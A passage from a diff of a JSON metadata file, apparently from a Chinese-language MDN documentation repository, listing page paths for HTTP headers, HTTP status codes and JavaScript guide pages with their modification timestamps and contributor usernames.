"xgqfrms", + "WayneCui", + "fscholz", + "abc950309" ] }, - "Web/HTTP/Headers/DNT": { - "modified": "2020-10-15T21:54:53.651Z", + "Web/HTTP/Status/205": { + "modified": "2019-03-23T22:10:24.312Z", "contributors": [ - "yenshen", "WayneCui" ] }, - "Web/HTTP/Headers/DPR": { - "modified": "2020-10-15T22:25:12.812Z", + "Web/HTTP/Status/206": { + "modified": "2020-10-15T21:54:17.456Z", "contributors": [ - "zhangchen", - "charles-debug" + "WayneCui", + "xgqfrms-GitHub" ] }, - "Web/HTTP/Headers/Date": { - "modified": "2020-10-15T21:54:52.166Z", + "Web/HTTP/Status/300": { + "modified": "2019-03-23T22:10:32.313Z", "contributors": [ - "liaozhaonan", "WayneCui" ] }, - "Web/HTTP/Headers/Device-Memory": { - "modified": "2020-10-15T22:27:14.967Z", - "contributors": [ - "csliubo" - ] - }, - "Web/HTTP/Headers/Digest": { - "modified": "2020-10-15T22:22:30.332Z", + "Web/HTTP/Status/301": { + "modified": "2020-10-15T21:53:56.245Z", "contributors": [ - "Mulan" + "WayneCui", + "dyllen", + "ujsxn" ] }, - "Web/HTTP/Headers/ETag": { - "modified": "2020-10-15T21:54:16.091Z", + "Web/HTTP/Status/302": { + "modified": "2020-10-15T21:52:41.868Z", "contributors": [ - "Opportunity", - "zhangchen", - "LeoQuote", - "qihaiyan", - "Mdxin", + "juzhiyuan", "WayneCui", - "luckymore" + "ziyunfei", + "ujsxn", + "07akioni" ] }, - "Web/HTTP/Headers/Early-Data": { - "modified": "2020-10-15T22:10:58.660Z", + "Web/HTTP/Status/303": { + "modified": "2020-10-15T21:53:57.078Z", "contributors": [ - "Greenstorm", - "TUARAN" + "ADTC", + "WayneCui", + "ujsxn" ] }, - "Web/HTTP/Headers/Expect": { - "modified": "2019-03-23T22:11:24.440Z", + "Web/HTTP/Status/304": { + "modified": "2020-10-15T21:53:56.017Z", "contributors": [ - "WayneCui" + "MinimalistYing", + "piaoyuliang", + "maicss", + "ujsxn" ] }, - "Web/HTTP/Headers/Expect-CT": { - "modified": "2020-10-15T22:03:02.147Z", + "Web/HTTP/Status/307": { + "modified": "2020-10-15T21:53:56.226Z", "contributors": [ - "ariable" + "RainSlide", + "qwertyuiop6", + "WayneCui", + "ujsxn" ] }, - "Web/HTTP/Headers/Expires": { - "modified": "2020-10-15T21:50:45.740Z", + "Web/HTTP/Status/308": { + "modified": "2020-10-15T21:53:56.251Z", "contributors": [ - "stuxu", - "Fiag", - "marsorsun", - "sunyanan891114", - "Simba.Lin", - "paranoidjk" + "迷子碳", + "WayneCui", + "ujsxn" ] }, - "Web/HTTP/Headers/Feature-Policy": { - "modified": "2020-10-15T22:18:06.274Z", + "Web/HTTP/Status/400": { + "modified": "2019-03-23T22:14:37.056Z", "contributors": [ - "roostinghawk" + "WayneCui", + "zsirfs" ] }, - "Web/HTTP/Headers/Feature-Policy/autoplay": { - "modified": "2020-10-15T22:18:28.072Z", + "Web/HTTP/Status/401": { + "modified": "2020-10-15T21:55:04.907Z", "contributors": [ - "baijingfeng" + "WayneCui" ] }, - "Web/HTTP/Headers/Feature-Policy/camera": { - "modified": "2020-10-15T22:26:24.357Z", + "Web/HTTP/Status/402": { + "modified": "2020-10-15T22:21:27.856Z", "contributors": [ - "K.Pen" + "SphinxKnight", + "Craster", + "AlphaGir", + "youngseaz" ] }, - "Web/HTTP/Headers/Forwarded": { - "modified": "2019-03-23T22:11:01.048Z", + "Web/HTTP/Status/403": { + "modified": "2020-10-15T21:55:04.765Z", "contributors": [ - "ujsxn", + "bobo.debila", + "iSakuraNyan", "WayneCui" ] }, - "Web/HTTP/Headers/From": { - "modified": "2020-10-15T21:54:57.725Z", + "Web/HTTP/Status/404": { + "modified": "2020-10-15T21:55:04.823Z", "contributors": [ - "LiquidLiquids", + "bobo.debila", + "yenshen", "WayneCui" ] }, - "Web/HTTP/Headers/Host": { - "modified": "2020-10-15T21:51:42.418Z", - "contributors": [ - "xinu", - "chentao106", - "wallen", - "crper", - "shinyoo" - ] - }, - "Web/HTTP/Headers/If-Match": { - "modified": "2020-10-15T21:55:00.013Z", + "Web/HTTP/Status/405": { + "modified": "2020-09-29T09:31:27.183Z", "contributors": [ - "ShiChenCong", - "Bayes", - "WayneCui" + "wonerlilo", + "sideshowbarker", + "lesikolerina23", + "nicholascw", + "yuankunzhang" ] }, - "Web/HTTP/Headers/If-Modified-Since": { - "modified": "2020-10-15T21:55:01.333Z", + "Web/HTTP/Status/406": { + "modified": "2020-10-15T21:54:36.544Z", "contributors": [ - "wangtongchao", "WayneCui" ] }, - "Web/HTTP/Headers/If-None-Match": { - "modified": "2020-10-15T21:54:59.997Z", + "Web/HTTP/Status/407": { + "modified": "2020-10-15T21:55:05.803Z", "contributors": [ "WayneCui" ] }, - "Web/HTTP/Headers/If-Range": { - "modified": "2020-10-15T21:51:54.830Z", - "contributors": [ - "Froguard", - "LiuTong" - ] - }, - "Web/HTTP/Headers/If-Unmodified-Since": { - "modified": "2020-10-15T21:54:37.820Z", + "Web/HTTP/Status/408": { + "modified": "2019-03-23T22:10:32.195Z", "contributors": [ + "Juanni", "WayneCui" ] }, - "Web/HTTP/Headers/Index": { - "modified": "2019-08-30T03:36:19.849Z", - "contributors": [ - "whuhyw" - ] - }, - "Web/HTTP/Headers/Keep-Alive": { - "modified": "2020-10-15T21:55:00.550Z", + "Web/HTTP/Status/409": { + "modified": "2019-03-23T22:10:22.894Z", "contributors": [ - "zhangchen", + "liaozhaonan", "WayneCui" ] }, - "Web/HTTP/Headers/Large-Allocation": { - "modified": "2020-10-15T21:56:09.177Z", + "Web/HTTP/Status/410": { + "modified": "2020-10-15T21:53:57.979Z", "contributors": [ - "wyapx", - "crper", - "shevacjs" + "yyz940922", + "ujsxn" ] }, - "Web/HTTP/Headers/Last-Modified": { - "modified": "2020-10-15T21:55:00.234Z", + "Web/HTTP/Status/411": { + "modified": "2019-03-23T22:10:31.298Z", "contributors": [ "WayneCui" ] }, - "Web/HTTP/Headers/Link": { - "modified": "2020-10-15T22:20:52.111Z", + "Web/HTTP/Status/412": { + "modified": "2020-10-15T21:53:03.480Z", "contributors": [ - "pangyujie" + "RainSlide", + "WayneCui", + "xgqfrms-GitHub", + "LangDonHJJ" ] }, - "Web/HTTP/Headers/Location": { - "modified": "2020-10-15T21:54:51.524Z", + "Web/HTTP/Status/413": { + "modified": "2019-03-23T22:10:34.207Z", "contributors": [ + "liaozhaonan", "WayneCui" ] }, - "Web/HTTP/Headers/Origin": { - "modified": "2020-10-15T21:53:11.797Z", - "contributors": [ - "JasonJunJun", - "yuankunzhang" - ] - }, - "Web/HTTP/Headers/Pragma": { - "modified": "2020-10-15T21:54:59.607Z", + "Web/HTTP/Status/414": { + "modified": "2019-03-23T22:10:20.896Z", "contributors": [ + "liaozhaonan", + "jokechat", "WayneCui" ] }, - "Web/HTTP/Headers/Proxy-Authenticate": { - "modified": "2019-03-23T22:10:44.148Z", + "Web/HTTP/Status/415": { + "modified": "2019-03-23T22:10:21.961Z", "contributors": [ "WayneCui" ] }, - "Web/HTTP/Headers/Proxy-Authorization": { - "modified": "2019-03-23T22:10:44.333Z", + "Web/HTTP/Status/416": { + "modified": "2020-10-15T21:54:41.290Z", "contributors": [ + "liaozhaonan", "WayneCui" ] }, - "Web/HTTP/Headers/Public-Key-Pins": { - "modified": "2020-10-15T21:55:02.367Z", + "Web/HTTP/Status/417": { + "modified": "2019-03-23T22:11:26.822Z", "contributors": [ - "shevacjs", "WayneCui" ] }, - "Web/HTTP/Headers/Public-Key-Pins-Report-Only": { - "modified": "2020-10-15T22:04:11.647Z", + "Web/HTTP/Status/418": { + "modified": "2020-10-15T22:03:59.306Z", "contributors": [ + "iSakuraNyan", + "dzamlo", "ujsxn", - "shevacjs" - ] - }, - "Web/HTTP/Headers/Range": { - "modified": "2020-10-15T21:54:38.123Z", - "contributors": [ - "Meteormatt", - "WayneCui" + "youngseaz" ] }, - "Web/HTTP/Headers/Referer": { - "modified": "2020-10-15T21:55:01.465Z", + "Web/HTTP/Status/422": { + "modified": "2019-10-08T22:59:23.853Z", "contributors": [ - "xiaozhaofu", - "yenshen", - "WayneCui" + "fuxingZhang", + "SphinxKnight", + "uniforest", + "ihgazni2" ] }, - "Web/HTTP/Headers/Referrer-Policy": { - "modified": "2020-10-15T21:54:58.993Z", + "Web/HTTP/Status/425": { + "modified": "2020-10-15T22:09:53.408Z", "contributors": [ - "gadflysu", - "WeihanLi", - "WayneCui" + "liaozhaonan", + "ibard" ] }, - "Web/HTTP/Headers/Retry-After": { - "modified": "2020-10-15T21:54:59.380Z", + "Web/HTTP/Status/426": { + "modified": "2019-03-23T22:10:22.184Z", "contributors": [ "WayneCui" ] }, - "Web/HTTP/Headers/Save-Data": { - "modified": "2020-10-15T22:21:57.010Z", - "contributors": [ - "Mulan", - "fuxingZhang" - ] - }, - "Web/HTTP/Headers/Sec-Fetch-Dest": { - "modified": "2020-10-17T03:01:57.521Z", - "contributors": [ - "hebing0415", - "hellorayza" - ] - }, - "Web/HTTP/Headers/Sec-Fetch-Mode": { - "modified": "2020-10-15T22:31:17.439Z", - "contributors": [ - "EbeRybDI", - "haolayo" - ] - }, - "Web/HTTP/Headers/Sec-Fetch-Site": { - "modified": "2020-10-15T22:32:55.276Z", - "contributors": [ - "EbeRybDI" - ] - }, - "Web/HTTP/Headers/Sec-Fetch-User": { - "modified": "2020-10-15T22:32:45.194Z", - "contributors": [ - "EbeRybDI" - ] - }, - "Web/HTTP/Headers/Sec-WebSocket-Accept": { - "modified": "2020-10-15T22:11:54.497Z", - "contributors": [ - "Greenstorm" - ] - }, - "Web/HTTP/Headers/Server": { - "modified": "2020-10-15T21:54:58.617Z", + "Web/HTTP/Status/428": { + "modified": "2019-03-23T22:11:11.819Z", "contributors": [ - "yenshen", "WayneCui" ] }, - "Web/HTTP/Headers/Server-Timing": { - "modified": "2020-10-15T22:22:26.582Z", - "contributors": [ - "Mulan", - "laingke" - ] - }, - "Web/HTTP/Headers/Set-Cookie": { - "modified": "2020-10-15T21:54:55.958Z", + "Web/HTTP/Status/429": { + "modified": "2019-03-23T22:11:18.935Z", "contributors": [ - "wenlonghuo", - "superATM", - "royIdoodle", "WayneCui" ] }, - "Web/HTTP/Headers/Set-Cookie/SameSite": { - "modified": "2020-10-15T22:28:42.430Z", - "contributors": [ - "EbeRybDI", - "tinaawang" - ] - }, - "Web/HTTP/Headers/Set-Cookie2": { - "modified": "2020-10-15T21:54:57.437Z", + "Web/HTTP/Status/431": { + "modified": "2019-03-23T22:10:21.832Z", "contributors": [ "WayneCui" ] }, - "Web/HTTP/Headers/SourceMap": { - "modified": "2020-10-15T21:55:30.390Z", - "contributors": [ - "Pada" - ] - }, - "Web/HTTP/Headers/TE": { - "modified": "2020-10-15T21:54:38.379Z", + "Web/HTTP/Status/451": { + "modified": "2020-10-15T21:55:07.508Z", "contributors": [ - "ujsxn", - "shevacjs", "WayneCui" ] }, - "Web/HTTP/Headers/Timing-Allow-Origin": { - "modified": "2020-10-15T21:58:04.341Z", + "Web/HTTP/Status/500": { + "modified": "2020-10-15T21:55:08.324Z", "contributors": [ - "firesun", - "shevacjs" + "danmurch77", + "sideshowbarker", + "lesikolerina23", + "davywsr", + "slivenred", + "RainSlide", + "WayneCui", + "ziyunfei", + "aosan002" ] }, - "Web/HTTP/Headers/Tk": { - "modified": "2019-03-23T22:07:59.446Z", + "Web/HTTP/Status/501": { + "modified": "2020-10-15T21:52:25.911Z", "contributors": [ - "WayneCui" + "WayneCui", + "fscholz", + "hxl" ] }, - "Web/HTTP/Headers/Trailer": { - "modified": "2020-10-15T21:54:41.193Z", + "Web/HTTP/Status/502": { + "modified": "2020-10-15T21:55:11.141Z", "contributors": [ - "yuankunzhang", + "davywsr", + "iSakuraNyan", + "slivenred", + "wangtongchao", "WayneCui" ] }, - "Web/HTTP/Headers/Transfer-Encoding": { - "modified": "2020-10-15T21:54:37.943Z", + "Web/HTTP/Status/503": { + "modified": "2020-10-15T21:55:07.373Z", "contributors": [ + "davywsr", + "slivenred", "WayneCui" ] }, - "Web/HTTP/Headers/Upgrade-Insecure-Requests": { - "modified": "2020-10-15T21:55:00.901Z", + "Web/HTTP/Status/504": { + "modified": "2020-10-15T21:55:08.765Z", "contributors": [ + "davywsr", + "slivenred", "WayneCui" ] }, - "Web/HTTP/Headers/User-Agent": { - "modified": "2020-10-15T21:55:01.835Z", + "Web/HTTP/Status/505": { + "modified": "2019-03-23T22:10:20.789Z", "contributors": [ - "RainSlide", - "zidian257", - "wangshi3", - "qwqmeow", - "AaronGod", "WayneCui" ] }, - "Web/HTTP/Headers/User-Agent/Firefox": { - "modified": "2019-03-18T21:31:55.000Z", - "contributors": [ - "RainSlide", - "konrumi" - ] - }, - "Web/HTTP/Headers/Vary": { - "modified": "2020-10-15T21:53:14.511Z", - "contributors": [ - "swanf", - "WayneCui", - "ujsxn", - "newhuan" - ] - }, - "Web/HTTP/Headers/Via": { - "modified": "2020-10-15T21:54:55.047Z", + "Web/HTTP/Status/506": { + "modified": "2020-01-19T03:41:58.311Z", "contributors": [ - "WayneCui" + "radarfyh" ] }, - "Web/HTTP/Headers/WWW-Authenticate": { - "modified": "2020-09-03T05:56:40.972Z", + "Web/HTTP/Status/507": { + "modified": "2020-01-19T03:58:16.574Z", "contributors": [ - "EbeRybDI", - "zslucky" + "radarfyh" ] }, - "Web/HTTP/Headers/Warning": { - "modified": "2020-10-15T21:55:02.128Z", + "Web/HTTP/Status/508": { + "modified": "2020-01-19T04:02:35.671Z", "contributors": [ - "liaozhaonan", - "WayneCui" + "radarfyh" ] }, - "Web/HTTP/Headers/X-Content-Type-Options": { - "modified": "2020-10-15T21:54:52.946Z", + "Web/HTTP/Status/510": { + "modified": "2020-01-19T04:08:53.633Z", "contributors": [ - "kidonng", - "kbyyd24", - "WayneCui" + "radarfyh" ] }, - "Web/HTTP/Headers/X-Forwarded-For": { - "modified": "2019-03-23T22:11:03.571Z", + "Web/HTTP/Status/511": { + "modified": "2019-03-23T22:10:19.671Z", "contributors": [ "WayneCui" ] }, - "Web/HTTP/Headers/X-Forwarded-Host": { - "modified": "2019-03-23T22:10:57.844Z", + "Web/Houdini": { + "modified": "2020-11-21T05:08:58.458Z", "contributors": [ - "WayneCui" + "xusy", + "bingoYB", + "cutefcc", + "sunfeel", + "xgqfrms" ] }, - "Web/HTTP/Headers/X-Forwarded-Proto": { - "modified": "2019-03-23T22:11:05.199Z", + "Web/JavaScript": { + "modified": "2020-09-21T00:46:20.876Z", "contributors": [ - "hbbalfred", - "WayneCui" - ] - }, - "Web/HTTP/Headers/X-XSS-Protection": { - "modified": "2020-10-15T21:53:06.446Z", + "mkckr0", + "sengang", + "SeaAster", + "liunanchenFYJJ", + "SphinxKnight", + "iworkerweb", + "lifankohome", + "huhufufu", + "marslord", + "leo_yang", + "zhao_nanli", + "limingqian", + "xunyegege", + "price", + "konantian", + "xclhs", + "qazsweet", + "Frederick-S", + "fenyu", + "ZengYu", + "toyflivver", + "yonbo", + "ThomasWhyne", + "pluwen", + "loveagri", + "edwards1101", + "ngtmuzi", + "wemamawe", + "danmin25", + "ghb609840612", + "zxsunrise", + "wangwenhao", + "WinnerNew", + "yokiyang", + "XuQuan-nikkkki", + "Jonham", + "ElliottZheng", + "towerman1990", + "qdlaoyao", + "yong_a", + "sqchenxiyuan", + "ZhangQiRong", + "lixw1994", + "qyjs", + "zhangchen", + "baooab", + "Mr-Li-admin", + "shaodahong", + "marsoln", + "Cnmahj", + "lemonsWen", + "lppking", + "viko16", + "leafdog", + "Ende93", + "VdoG", + "xiaokk06", + "xgqfrms", + "Rusion-Wayne", + "xiaoyusilen", + "Moressette", + "simongfxu", + "eforegist", + "nperhb", + "wth", + "WentaoMa", + "Roland_Reed", + "leonine", + "stdupp", + "lunix01", + "sammuelyee", + "MMOnster", + "redman9", + "wangsai", + "flyingdew", + "Yaty", + "yenshen", + "apollo", + "azzndmy", + "yiding_he", + "Brainor", + "ReyCG_sub", + "teoli", + "7anshuai", + "xcffl", + "ziyunfei", + "Asvel", + "sonzero@163.com", + "xiaoxiong", + "iwo", + "lins05" + ] + }, + "Web/JavaScript/A_re-introduction_to_JavaScript": { + "modified": "2020-12-11T11:33:32.340Z", + "contributors": [ + "柳涤尘", + "SphinxKnight", + "BruceHong666", + "koo4", + "hechenxi", + "hufeicom", + "eMUQI", + "houfengqaz", + "licia-tia", + "necokeine", + "Pro-A", + "TianLangStudio", + "Frederick-S", + "123Jonne", + "fenglui", + "RainSlide", + "zhaoke2018", + "coldfog", + "edenpan", + "kanaza", + "LeoB-O", + "panle666", + "SAM.L", + "YRFT", + "Park-ma", + "LuoYun", + "mysmlz", + "OldisNewXrf", + "Jiasm", + "HoldDie", + "byoungd", + "TheLostXianXian", + "RockJerffreason", + "JayceZhang9602", + "funnyChinese", + "liubiantao", + "suxiesumiao", + "Jack-Q", + "w-halo", + "marsoln", + "Poisonloc", + "ngtmuzi", + "pramper", + "wangbin2015", + "Ende93", + "machao", + "Tienyz", + "susutou", + "xlyimi", + "ziyunfei", + "arniu", + "Breezewish", + "ticketock", + "teoli", + "xuxun", + "Joe_Zhao", + "xcffl", + "ethertank", + "Mgjbot", + "Physacco", + "Carrie zhxj", + "Laser" + ] + }, + "Web/JavaScript/About_JavaScript": { + "modified": "2020-03-12T19:36:16.731Z", + "contributors": [ + "Poisonloc", + "ziyunfei", + "Breezewish", + "gelin", + "teoli", + "Meteormatt", + "ethertank", + "undercooled" + ] + }, + "Web/JavaScript/Closures": { + "modified": "2020-10-14T01:19:42.853Z", + "contributors": [ + "Neo42", + "sunan112", + "xuqian", + "xvusrmqj", + "Lazy_Bone", + "mkckr0", + "fish-inu", + "Nonym", + "kingsley2036", + "watsonhaw", + "LuoYun", + "maoyumaoxun", + "HongjinLI", + "dreampasssser", + "foshhh", + "Akiq2016", + "szengtal", + "zhang-hongwei", + "helloli", + "xgqfrms-GitHub", + "ziyunfei", + "zhuangyin", + "springfish", + "ZZES_REN", + "righttoe", + "hiyoushu", + "KngZhi", + "eeeeeeeason", + "HeSijie", + "calidion", + "mr.code", + "lihx_hit", + "_da", + "xgqfrms", + "wth", + "Jack-Q", + "distums", + "Poisonloc", + "mysticzap", + "vino24", + "putdownTheCode", + "yang.rc", + "maybe", + "fskuok", + "devyps", + "Breezewish", + "phoenix.huang", + "kangkai92", + "teoli", + "hui314", + "rogersuen" + ] + }, + "Web/JavaScript/Data_structures": { + "modified": "2020-06-05T03:23:50.915Z", + "contributors": [ + "zangbianxuegu", + "wallena3", + "Logan-Li", + "xuanji", + "huxinsen", + "molee1905", + "WangLeto", + "wemamawe", + "ywjco", + "ShirleyM", + "wblovezqy", + "eyasliu", + "issliu", + "hangyangws", + "Musan", + "Ende93", + "eric183", + "Jacobwang", + "knightf", + "JsonMe", + "asdzxcqwe", + "holsety", + "Breezewish", + "ElsaHuang", + "7anshuai", + "teoli", + "keechi", + "polucy", + "_WhiteCusp" + ] + }, + "Web/JavaScript/Enumerability_and_ownership_of_properties": { + "modified": "2020-08-31T07:44:40.404Z", + "contributors": [ + "unbyte", + "RainSlide", + "leavesster", + "Ende93", + "walfud", + "funroller", + "monjer", + "Gaohaoyang", + "xiefei89", + "Jack-Q", + "ziyunfei", + "yenshen" + ] + }, + "Web/JavaScript/Equality_comparisons_and_sameness": { + "modified": "2020-10-17T07:01:49.622Z", + "contributors": [ + "jaredhan418", + "zjffun", + "RenzHoly", + "gongzhibin", + "xiayao", + "esphas", + "dy21335", + "Charlotte007", + "fun3c", + "Ende93", + "xgqfrms-GitHub", + "vincenting", + "Roland_Reed", + "Jack-Q", + "ngtmuzi", + "i-PeterZhang", + "xufeng", + "ziyunfei", + "fskuok", + "tiansh", + "faceach", + "ilia" + ] + }, + "Web/JavaScript/EventLoop": { + "modified": "2020-08-12T23:49:07.122Z", + "contributors": [ + "JobbyM", + "johnao", + "penglianglee", + "molee1905", + "sundi78634", + "xgl", + "SterileSummer", + "esphas", + "daxiazilong", + "zhangchen", + "Thoxvi", + "zhuangyin", + "LeoSpark", + "mozhs", + "xgqfrms-GitHub", + "LiXin", + "xycd", + "hxyoo1990", + "guoqiang", + "fengma", + "Ende93", + "xiaojichao", + "liyongleihf2006", + "slayerxj", + "timwangdev", + "distums", + "xufeng", + "ziyunfei", + "jcouyang", + "shinv", + "lcxfs1991", + "HectorGuo", + "Fantasy_shao" + ] + }, + "Web/JavaScript/Guide": { + "modified": "2020-04-10T23:43:33.112Z", + "contributors": [ + "lyno", + "RainSlide", + "Soy", + "Wenfang_Du", + "mumu-one", + "xuziang111", + "miffy24", + "shannonZhong", + "bowen-wu", + "Pomelo1213", + "Jamamm", + "xiaozhi1", + "bibi941", + "zhumengyua", + "XINHE", + "frankfang1990", + "zhangchen", + "santong", + "Grizzly-Eric", + "WavinFlag", + "Moressette", + "nperhb", + "yenshen", + "ngtmuzi", + "taccelerate", + "456wyc", + "lunix01", + "kacoro", + "ssbunny", + "wsxyeah", + "teoli", + "ziyunfei", + "rogersuen" + ] + }, + "Web/JavaScript/Guide/Control_flow_and_error_handling": { + "modified": "2020-03-12T19:37:58.561Z", + "contributors": [ + "ChenZhuoSteve", + "xclhs", + "fanqw", + "zhangchen", + "Hitomichan", + "sqchenxiyuan", + "123456zzz", + "zsxeee", + "xgqfrms-GitHub", + "cdz", + "lwxyfer", + "hpcherry", + "funnyChinese", + "ticketock", + "anbang", + "xdsnet", + "codetaro", + "think3t", + "Moressette", + "eforegist", + "boredivan", + "kavon", + "victor0801x", + "eating_miao", + "tangolivesky", + "zouyonghao", + "GodEngine", + "binhex", + "lushunming", + "MurphyL", + "zhaozhb", + "DeepDarkSpirit", + "kictpov", + "wenxiangmao", + "gabrielwu", + "tao0923", + "wolfFN", + "wangxb", + "ziyunfei", + "tonypupp", + "Shimo", + "teoli" + ] + }, + "Web/JavaScript/Guide/Details_of_the_Object_Model": { + "modified": "2020-07-21T04:10:47.398Z", + "contributors": [ + "suvyme", + "johnao", + "tzmf", + "zjffun", + "wbamberg", + "AlphaGo88", + "ThomasWhyne", + "yokiyang", + "zhangchen", + "MiRinZhang", + "Ende93", + "michelia", + "ywang1724", + "ReyCG", + "teoli", + "key", + "ziyunfei", + "zsytssk", + "rogersuen" + ] + }, + "Web/JavaScript/Guide/Expressions_and_Operators": { + "modified": "2020-12-12T02:19:33.855Z", + "contributors": [ + "柳涤尘", + "aq1121", + "Ende93", + "bifan", + "ZhQb", + "maoyumaoxun", + "LuoYun", + "yuansuye", + "syhxczy", + "zhangchen", + "bozh", + "lociver", + "vividlai", + "vincenting", + "choury", + "wenmin92", + "_da", + "zhaoge26", + "chenpeiguang", + "codetaro", + "Gohikin", + "sgr", + "bigzhao", + "imDemo", + "klutzCoder", + "cinside", + "chuanyidai", + "eddy8", + "kavon", + "victor0801x", + "ngtmuzi", + "xoyoz", + "RachelChen", + "zenzzy", + "wumouse", + "Toweave", + "wenxiangmao", + "mpchina", + "z_p_p", + "997404959", + "Frantic1048", + "teoli", + "LieGroup", + "sevens", + "john_li", + "carl_zhu", + "ziyunfei" + ] + }, + "Web/JavaScript/Guide/Functions": { + "modified": "2020-09-16T04:44:03.700Z", + "contributors": [ + "springwq", + "johnao", + "YooHoeh", + "narutojian", + "chrisdavidmills", + "yulongjing", + "white-more", + "Jzhuonan", + "vainl", + "putongxiaozhu", + "yuansuye", + "Phoenix13", + "SphinxKnight", + "NotDead-NotPerish", + "zhangchen", + "ian.zhang", + "xgqfrms-GitHub", + "wenmin92", + "codetaro", + "appie963", + "caicaicai", + "Darkoe", + "victor0801x", + "helloguangxue", + "tangolivesky", + "wumouse", + "Ende93", + "SamuraiMe", + "duckisaac", + "ziyunfei", + "Cjavaer", + "snowsolf", + "lvjs", + "smartkid", + "teoli", + "sunorry", + "iwo" + ] + }, + "Web/JavaScript/Guide/Grammar_and_types": { + "modified": "2020-10-01T04:36:59.031Z", + "contributors": [ + "dva2019ksy", + "junhaoim", + "SirnoChan", + "Meow-z", + "catlair", + "WoodCube", + "lorry0508", + "ronesam", + "inlym", + "AlphaGo88", + "strandjun", + "hgbj0001", + "vainl", + "goodqd", + "yuansuye", + "zxsunrise", + "hiyoushu", + "zhumengyua", + "runyul", + "shelleyIstar", + "superkuang", + "BlasphemerAzog", + "Timer", + "tjyas", + "xgqfrms-GitHub", + "zxsky1", + "cdz", + "Taisetsuz", + "Arthur.CHANG", + "Seattle", + "faremax", + "fengma", + "xdsnet", + "codetaro", + "VdoG", + "tylerxue", + "Ende93", + "zurl", + "Moressette", + "dsb123dsb", + "kangkai0124", + "koalaxiaot", + "eforegist", + "GoForWill", + "m4jing", + "gknpezgssb", + "evolighting", + "TruthBean", + "kavon", + "victor0801x", + "PoppinL", + "louwuxin", + "xioZquan", + "zhaozhb", + "zouyonghao", + "ziyunfei", + "amIurs", + "gabrielwu", + "kacoro", + "tiansh", + "ReyCG_sub", + "teoli", + "LieGroup", + "evantre", + "iwo" + ] + }, + "Web/JavaScript/Guide/Indexed_collections": { + "modified": "2020-06-29T06:11:51.519Z", + "contributors": [ + "MaZheng", + "amzrk2", + "keys", + "ruoxianbaby", + "aimishan", + "BUnnY25", + "LeoSpark", + "hpcherry", + "niccoming", + "xdsnet", + "kiyonlin", + "codetaro", + "caoruiy", + "suxiesumiao", + "victor0801x", + "zhulinpinyu", + "456wyc", + "gaigeshen", + "VincentLiu0314" + ] + }, + "Web/JavaScript/Guide/Introduction": { + "modified": "2020-07-30T09:11:33.207Z", + "contributors": [ + "Kirin", + "RainSlide", + "agulleung", + "inlym", + "daxiazilong", + "a358003542", + "ElliottZheng", + "runyul", + "123456zzz", + "wushengde", + "zhuangyin", + "lsbrucelincoln", + "seaHeater", + "_da", + "xdsnet", + "VdoG", + "xiaoyusilen", + "eforegist", + "Mosan", + "Joilence", + "LeoMobileDeveloper", + "m4jing", + "dunizb", + "solome", + "zhanglei1995", + "zhe13", + "Rambone", + "Ende93", + "majunbao", + "MurphyL", + "zouyonghao", + "zhengshi", + "fissh", + "pixiu", + "ssbunny", + "PhenixGhost", + "MrH2S", + "HopeCoder", + "ziyunfei", + "hackerZhang" + ] + }, + "Web/JavaScript/Guide/Iterators_and_Generators": { + "modified": "2020-04-19T03:41:05.778Z", + "contributors": [ + "Russell", + "johnao", + "NieLamu", + "SageX", + "Yayure", + "ErChuan", + "RainSlide", + "jupiterben", + "xgqfrms", + "Wuqichao", + "BingerWeb", + "yueshuiniao", + "zhangjiawei0", + "zhangchen", + "azoth1991", + "ezirmusitua", + "xgqfrms-GitHub", + "DarwinniwraD", + "kiyonlin", + "Howard.Chen", + "ianfung1998", + "liadbiz", + "snandy", + "teoli", + "ziyunfei", + "AriesDevil", + "Joyce" + ] + }, + "Web/JavaScript/Guide/Keyed_collections": { + "modified": "2020-03-12T19:41:31.376Z", + "contributors": [ + "haoye999", + "Jiasm", + "zhangchen", + "jiahui", + "indux", + "supermanmsc", + "fengzhongye" + ] + }, + "Web/JavaScript/Guide/Loops_and_iteration": { + "modified": "2020-03-12T19:42:07.957Z", + "contributors": [ + "koor", + "narutojian", + "RainSlide", + "Wuqichao", + "SphinxKnight", + "zero_zero_zero", + "zhuangyin", + "Zheng7426", + "Bob_young", + "xiaowei.yang", + "johncido", + "xgqfrms-GitHub", + "xdsnet", + "codetaro", + "suxiesumiao", + "AcJoker", + "kavon", + "lushunming", + "MurphyL", + "wumouse", + "intuitionfly" + ] + }, + "Web/JavaScript/Guide/Meta_programming": { + "modified": "2020-10-06T11:58:28.618Z", + "contributors": [ + "SeekerGAO", + "suvyme", + "RainSlide", + "OStoneO", + "rikochyou", + "zhangchen", + "123456zzz", + "pamikel", + "xgqfrms-GitHub", + "hpcherry", + "zyMacro", + "cughudson_1", + "acekingke", + "binhex", + "FredWe" + ] + }, + "Web/JavaScript/Guide/Modules": { + "modified": "2020-10-15T22:19:12.670Z", + "contributors": [ + "ran", + "PPFei5Zhou", + "bkuke", + "StorytellerF", + "Yayure", + "narutojian", + "RainSlide", + "hotbaby" + ] + }, + "Web/JavaScript/Guide/Numbers_and_dates": { + "modified": "2020-12-12T05:50:13.576Z", + "contributors": [ + "柳涤尘", + "antield", + "symant233", + "迷子碳", + "qazsweet", + "canyi1942", + "fenyu", + "adasqg", + "zms1995", + "trionfo1993", + "ShaderWind", + "vividlai", + "yonglezhou", + "DaiZhiTao", + "jitingsun", + "niccoming", + "xiaokk06", + "sgr", + "suxiesumiao", + "victor0801x", + "zhulinpinyu", + "williamchu123", + "ShiJianwen", + "zhe13", + "Toweave", + "Serifx", + "456wyc", + "wenxiangmao" + ] + }, + "Web/JavaScript/Guide/Regular_Expressions": { + "modified": "2020-11-07T12:19:15.360Z", + "contributors": [ + "hensonxu", + "imbriansun", + "Alibuibui", + "srq18211", + "symant233", + "MikeLeon23", + "antield", + "zytjs", + "jingkaimori", + "aliasliao", + "Clara-hy", + "yasen-wolf", + "cody343960591", + "PoppinL", + "cy234", + "RainSlide", + "pzjzeason", + "millionssss", + "iamwwc", + "Yayure", + "Checkson", + "crow-n", + "yadex", + "OlingCat", + "Fungzhe", + "ts0307", + "jianglinghao", + "SphinxKnight", + "AlexStacker", + "zhuangyin", + "Ahhaha233", + "yinsang", + "fengma", + "chenym1992", + "ataotao", + "lixingdecai", + "bmxklYzj", + "Frantic1048", + "hysunny", + "xgqfrms-GitHub", + "Ckc", + "Jeff-Kook", + "ljy", + "maoxiaoke", + "falltodis", + "codetaro", + "simongfxu", + "fanyj1994", + "huaxiabuluo", + "lvhao96", + "luobotang", + "yisibl", + "ngtmuzi", + "chen_wang", + "Ende93", + "sunshineMaria", + "snowsolf", + "sleep", + "Shimo", + 